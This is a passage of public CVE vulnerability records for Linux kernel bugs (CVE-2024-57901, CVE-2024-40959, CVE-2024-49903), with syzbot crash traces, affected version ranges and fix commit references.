f3\nRSP: 0018:ffffc900038d7638 EFLAGS: 00010282\nRAX: 0000000000000087 RBX: dffffc0000000000 RCX: 609ffd18ea660600\nRDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000\nRBP: ffff88802483c8d0 R08: ffffffff817f0a8c R09: 1ffff9200071ae60\nR10: dffffc0000000000 R11: fffff5200071ae61 R12: 0000000000000140\nR13: ffff88807fc8e400 R14: ffff88807fc8e3f4 R15: 0000000000000011\nFS:  00007fbac5e006c0(0000) GS:ffff8880b8700000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fbac5e00d58 CR3: 000000001238e000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  skb_push+0xe5/0x100 net/core/skbuff.c:2636\n  vlan_get_protocol_dgram+0x165/0x290 net/packet/af_packet.c:585\n  packet_recvmsg+0x948/0x1ef0 net/packet/af_packet.c:3552\n  sock_recvmsg_nosec net/socket.c:1033 [inline]\n  sock_recvmsg+0x22f/0x280 net/socket.c:1055\n  ____sys_recvmsg+0x1c6/0x480 net/socket.c:2803\n  ___sys_recvmsg net/socket.c:2845 [inline]\n  do_recvmmsg+0x426/0xab0 net/socket.c:2940\n  __sys_recvmmsg net/socket.c:3014 [inline]\n  __do_sys_recvmmsg net/socket.c:3037 [inline]\n  __se_sys_recvmmsg net/socket.c:3030 [inline]\n  __x64_sys_recvmmsg+0x199/0x250 net/socket.c:3030\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:00:10.001Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/560cbdd26b510626f3f4f27d34c44dfd3dd3499d"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d3fa6c3c9ca7aa255696150f5b759ac4a4974e1"
        },
        {
          "url": "https://git.kernel.org/stable/c/de4f8d477c67ec1d7c28f3486c3e47d147d90a01"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d336714db324bef84490c75dcc48b387ef0346e"
        },
        {
          "url": "https://git.kernel.org/stable/c/a693b87692b4d7c50f4fc08a996678d60534a9da"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd8488fdc7116f6da277515647b167859d4f72b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/f91a5b8089389eb408501af2762f168c3aaa7b79"
        }
      ],
      "title": "af_packet: fix vlan_get_protocol_dgram() vs MSG_PEEK",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57901",
    "datePublished": "2025-01-15T13:05:57.527Z",
    "dateReserved": "2025-01-11T14:45:42.030Z",
    "dateUpdated": "2026-05-12T12:01:34.173Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40959 (GCVE-0-2024-40959)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:32 – Updated: 2026-05-12 11:55

Title

xfrm6: check ip6_dst_idev() return value in xfrm6_get_saddr()

Summary

In the Linux kernel, the following vulnerability has been resolved: xfrm6: check ip6_dst_idev() return value in xfrm6_get_saddr() ip6_dst_idev() can return NULL, xfrm6_get_saddr() must act accordingly. syzbot reported: Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] CPU: 1 PID: 12 Comm: kworker/u8:1 Not tainted 6.10.0-rc2-syzkaller-00383-gb8481381d4e2 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024 Workqueue: wg-kex-wg1 wg_packet_handshake_send_worker RIP: 0010:xfrm6_get_saddr+0x93/0x130 net/ipv6/xfrm6_policy.c:64 Code: df 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 97 00 00 00 4c 8b ab d8 00 00 00 48 b8 00 00 00 00 00 fc ff df 4c 89 ea 48 c1 ea 03 <80> 3c 02 00 0f 85 86 00 00 00 4d 8b 6d 00 e8 ca 13 47 01 48 b8 00 RSP: 0018:ffffc90000117378 EFLAGS: 00010246 RAX: dffffc0000000000 RBX: ffff88807b079dc0 RCX: ffffffff89a0d6d7 RDX: 0000000000000000 RSI: ffffffff89a0d6e9 RDI: ffff88807b079e98 RBP: ffff88807ad73248 R08: 0000000000000007 R09: fffffffffffff000 R10: ffff88807b079dc0 R11: 0000000000000007 R12: ffffc90000117480 R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 FS: 0000000000000000(0000) GS:ffff8880b9300000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f4586d00440 CR3: 0000000079042000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> xfrm_get_saddr net/xfrm/xfrm_policy.c:2452 [inline] xfrm_tmpl_resolve_one net/xfrm/xfrm_policy.c:2481 [inline] xfrm_tmpl_resolve+0xa26/0xf10 net/xfrm/xfrm_policy.c:2541 xfrm_resolve_and_create_bundle+0x140/0x2570 net/xfrm/xfrm_policy.c:2835 xfrm_bundle_lookup net/xfrm/xfrm_policy.c:3070 [inline] xfrm_lookup_with_ifid+0x4d1/0x1e60 net/xfrm/xfrm_policy.c:3201 xfrm_lookup net/xfrm/xfrm_policy.c:3298 [inline] xfrm_lookup_route+0x3b/0x200 net/xfrm/xfrm_policy.c:3309 ip6_dst_lookup_flow+0x15c/0x1d0 net/ipv6/ip6_output.c:1256 send6+0x611/0xd20 drivers/net/wireguard/socket.c:139 wg_socket_send_skb_to_peer+0xf9/0x220 drivers/net/wireguard/socket.c:178 wg_socket_send_buffer_to_peer+0x12b/0x190 drivers/net/wireguard/socket.c:200 wg_packet_send_handshake_initiation+0x227/0x360 drivers/net/wireguard/send.c:40 wg_packet_handshake_send_worker+0x1c/0x30 drivers/net/wireguard/send.c:51 process_one_work+0x9fb/0x1b60 kernel/workqueue.c:3231 process_scheduled_works kernel/workqueue.c:3312 [inline] worker_thread+0x6c8/0xf70 kernel/workqueue.c:3393 kthread+0x2c1/0x3a0 kernel/kthread.c:389 ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/c71761292d4d002a8…
https://git.kernel.org/stable/c/caf0bec84c62fb1cf…
https://git.kernel.org/stable/c/20427b85781aca0ad…
https://git.kernel.org/stable/c/9f30f1f1a51d91e19…
https://git.kernel.org/stable/c/83c02fb2cc0afee5b…
https://git.kernel.org/stable/c/f897d7171652fcfc7…
https://git.kernel.org/stable/c/600a62b4232ac027f…
https://git.kernel.org/stable/c/d46401052c2d5614d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < c71761292d4d002a8eccb57b86792c4e3b3eb3c7 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < caf0bec84c62fb1cf6f7c9f0e8c857c87f8adbc3 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 20427b85781aca0ad072851f6907a3d4b2fed8d1 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9f30f1f1a51d91e19f5a09236bb0b59e6a07ad08 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 83c02fb2cc0afee5bb53cddf3f34f045f654ad6a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f897d7171652fcfc76d042bfec798b010ee89e41 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 600a62b4232ac027f788c3ca395bc2333adeaacf (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d46401052c2d5614da8efea5788532f0401cb164 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:24.440Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c71761292d4d002a8eccb57b86792c4e3b3eb3c7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/caf0bec84c62fb1cf6f7c9f0e8c857c87f8adbc3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/20427b85781aca0ad072851f6907a3d4b2fed8d1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9f30f1f1a51d91e19f5a09236bb0b59e6a07ad08"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/83c02fb2cc0afee5bb53cddf3f34f045f654ad6a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f897d7171652fcfc76d042bfec798b010ee89e41"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/600a62b4232ac027f788c3ca395bc2333adeaacf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d46401052c2d5614da8efea5788532f0401cb164"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40959",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:03:32.493847Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:23.806Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:56.132Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/xfrm6_policy.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c71761292d4d002a8eccb57b86792c4e3b3eb3c7",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "caf0bec84c62fb1cf6f7c9f0e8c857c87f8adbc3",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "20427b85781aca0ad072851f6907a3d4b2fed8d1",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9f30f1f1a51d91e19f5a09236bb0b59e6a07ad08",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "83c02fb2cc0afee5bb53cddf3f34f045f654ad6a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "f897d7171652fcfc76d042bfec798b010ee89e41",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "600a62b4232ac027f788c3ca395bc2333adeaacf",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d46401052c2d5614da8efea5788532f0401cb164",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/xfrm6_policy.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm6: check ip6_dst_idev() return value in xfrm6_get_saddr()\n\nip6_dst_idev() can return NULL, xfrm6_get_saddr() must act accordingly.\n\nsyzbot reported:\n\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 1 PID: 12 Comm: kworker/u8:1 Not tainted 6.10.0-rc2-syzkaller-00383-gb8481381d4e2 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\nWorkqueue: wg-kex-wg1 wg_packet_handshake_send_worker\n RIP: 0010:xfrm6_get_saddr+0x93/0x130 net/ipv6/xfrm6_policy.c:64\nCode: df 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 97 00 00 00 4c 8b ab d8 00 00 00 48 b8 00 00 00 00 00 fc ff df 4c 89 ea 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 86 00 00 00 4d 8b 6d 00 e8 ca 13 47 01 48 b8 00\nRSP: 0018:ffffc90000117378 EFLAGS: 00010246\nRAX: dffffc0000000000 RBX: ffff88807b079dc0 RCX: ffffffff89a0d6d7\nRDX: 0000000000000000 RSI: ffffffff89a0d6e9 RDI: ffff88807b079e98\nRBP: ffff88807ad73248 R08: 0000000000000007 R09: fffffffffffff000\nR10: ffff88807b079dc0 R11: 0000000000000007 R12: ffffc90000117480\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\nFS:  0000000000000000(0000) GS:ffff8880b9300000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f4586d00440 CR3: 0000000079042000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  xfrm_get_saddr net/xfrm/xfrm_policy.c:2452 [inline]\n  xfrm_tmpl_resolve_one net/xfrm/xfrm_policy.c:2481 [inline]\n  xfrm_tmpl_resolve+0xa26/0xf10 net/xfrm/xfrm_policy.c:2541\n  xfrm_resolve_and_create_bundle+0x140/0x2570 net/xfrm/xfrm_policy.c:2835\n  xfrm_bundle_lookup net/xfrm/xfrm_policy.c:3070 [inline]\n  xfrm_lookup_with_ifid+0x4d1/0x1e60 net/xfrm/xfrm_policy.c:3201\n  xfrm_lookup net/xfrm/xfrm_policy.c:3298 [inline]\n  xfrm_lookup_route+0x3b/0x200 net/xfrm/xfrm_policy.c:3309\n  ip6_dst_lookup_flow+0x15c/0x1d0 net/ipv6/ip6_output.c:1256\n  send6+0x611/0xd20 drivers/net/wireguard/socket.c:139\n  wg_socket_send_skb_to_peer+0xf9/0x220 drivers/net/wireguard/socket.c:178\n  wg_socket_send_buffer_to_peer+0x12b/0x190 drivers/net/wireguard/socket.c:200\n  wg_packet_send_handshake_initiation+0x227/0x360 drivers/net/wireguard/send.c:40\n  wg_packet_handshake_send_worker+0x1c/0x30 drivers/net/wireguard/send.c:51\n  process_one_work+0x9fb/0x1b60 kernel/workqueue.c:3231\n  process_scheduled_works kernel/workqueue.c:3312 [inline]\n  worker_thread+0x6c8/0xf70 kernel/workqueue.c:3393\n  kthread+0x2c1/0x3a0 kernel/kthread.c:389\n  ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147\n  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:08.884Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c71761292d4d002a8eccb57b86792c4e3b3eb3c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/caf0bec84c62fb1cf6f7c9f0e8c857c87f8adbc3"
        },
        {
          "url": "https://git.kernel.org/stable/c/20427b85781aca0ad072851f6907a3d4b2fed8d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/9f30f1f1a51d91e19f5a09236bb0b59e6a07ad08"
        },
        {
          "url": "https://git.kernel.org/stable/c/83c02fb2cc0afee5bb53cddf3f34f045f654ad6a"
        },
        {
          "url": "https://git.kernel.org/stable/c/f897d7171652fcfc76d042bfec798b010ee89e41"
        },
        {
          "url": "https://git.kernel.org/stable/c/600a62b4232ac027f788c3ca395bc2333adeaacf"
        },
        {
          "url": "https://git.kernel.org/stable/c/d46401052c2d5614da8efea5788532f0401cb164"
        }
      ],
      "title": "xfrm6: check ip6_dst_idev() return value in xfrm6_get_saddr()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40959",
    "datePublished": "2024-07-12T12:32:01.149Z",
    "dateReserved": "2024-07-12T12:17:45.593Z",
    "dateUpdated": "2026-05-12T11:55:56.132Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49903 (GCVE-0-2024-49903)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:59

Title

jfs: Fix uaf in dbFreeBits

Summary

In the Linux kernel, the following vulnerability has been resolved: jfs: Fix uaf in dbFreeBits [syzbot reported] ================================================================== BUG: KASAN: slab-use-after-free in __mutex_lock_common kernel/locking/mutex.c:587 [inline] BUG: KASAN: slab-use-after-free in __mutex_lock+0xfe/0xd70 kernel/locking/mutex.c:752 Read of size 8 at addr ffff8880229254b0 by task syz-executor357/5216 CPU: 0 UID: 0 PID: 5216 Comm: syz-executor357 Not tainted 6.11.0-rc3-syzkaller-00156-gd7a5aa4b3c00 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 06/27/2024 Call Trace: <TASK> __dump_stack lib/dump_stack.c:93 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119 print_address_description mm/kasan/report.c:377 [inline] print_report+0x169/0x550 mm/kasan/report.c:488 kasan_report+0x143/0x180 mm/kasan/report.c:601 __mutex_lock_common kernel/locking/mutex.c:587 [inline] __mutex_lock+0xfe/0xd70 kernel/locking/mutex.c:752 dbFreeBits+0x7ea/0xd90 fs/jfs/jfs_dmap.c:2390 dbFreeDmap fs/jfs/jfs_dmap.c:2089 [inline] dbFree+0x35b/0x680 fs/jfs/jfs_dmap.c:409 dbDiscardAG+0x8a9/0xa20 fs/jfs/jfs_dmap.c:1650 jfs_ioc_trim+0x433/0x670 fs/jfs/jfs_discard.c:100 jfs_ioctl+0x2d0/0x3e0 fs/jfs/ioctl.c:131 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:907 [inline] __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:893 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 Freed by task 5218: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:579 poison_slab_object+0xe0/0x150 mm/kasan/common.c:240 __kasan_slab_free+0x37/0x60 mm/kasan/common.c:256 kasan_slab_free include/linux/kasan.h:184 [inline] slab_free_hook mm/slub.c:2252 [inline] slab_free mm/slub.c:4473 [inline] kfree+0x149/0x360 mm/slub.c:4594 dbUnmount+0x11d/0x190 fs/jfs/jfs_dmap.c:278 jfs_mount_rw+0x4ac/0x6a0 fs/jfs/jfs_mount.c:247 jfs_remount+0x3d1/0x6b0 fs/jfs/super.c:454 reconfigure_super+0x445/0x880 fs/super.c:1083 vfs_cmd_reconfigure fs/fsopen.c:263 [inline] vfs_fsconfig_locked fs/fsopen.c:292 [inline] __do_sys_fsconfig fs/fsopen.c:473 [inline] __se_sys_fsconfig+0xb6e/0xf80 fs/fsopen.c:345 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f [Analysis] There are two paths (dbUnmount and jfs_ioc_trim) that generate race condition when accessing bmap, which leads to the occurrence of uaf. Use the lock s_umount to synchronize them, in order to avoid uaf caused by race condition.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/4ac58f7734937f324…
https://git.kernel.org/stable/c/3126ccde51f51b064…
https://git.kernel.org/stable/c/fd026b6b6758d5569…
https://git.kernel.org/stable/c/e7ae14f7ee76c6ef5…
https://git.kernel.org/stable/c/0c238da83f56bb895…
https://git.kernel.org/stable/c/4218b31ecc7af7e19…
https://git.kernel.org/stable/c/a9603a6f75df2fd81…
https://git.kernel.org/stable/c/95accb7183badca38…
https://git.kernel.org/stable/c/d6c1b3599b2feb5c7…

Impacted products

2 products

Vendor	Product	Version
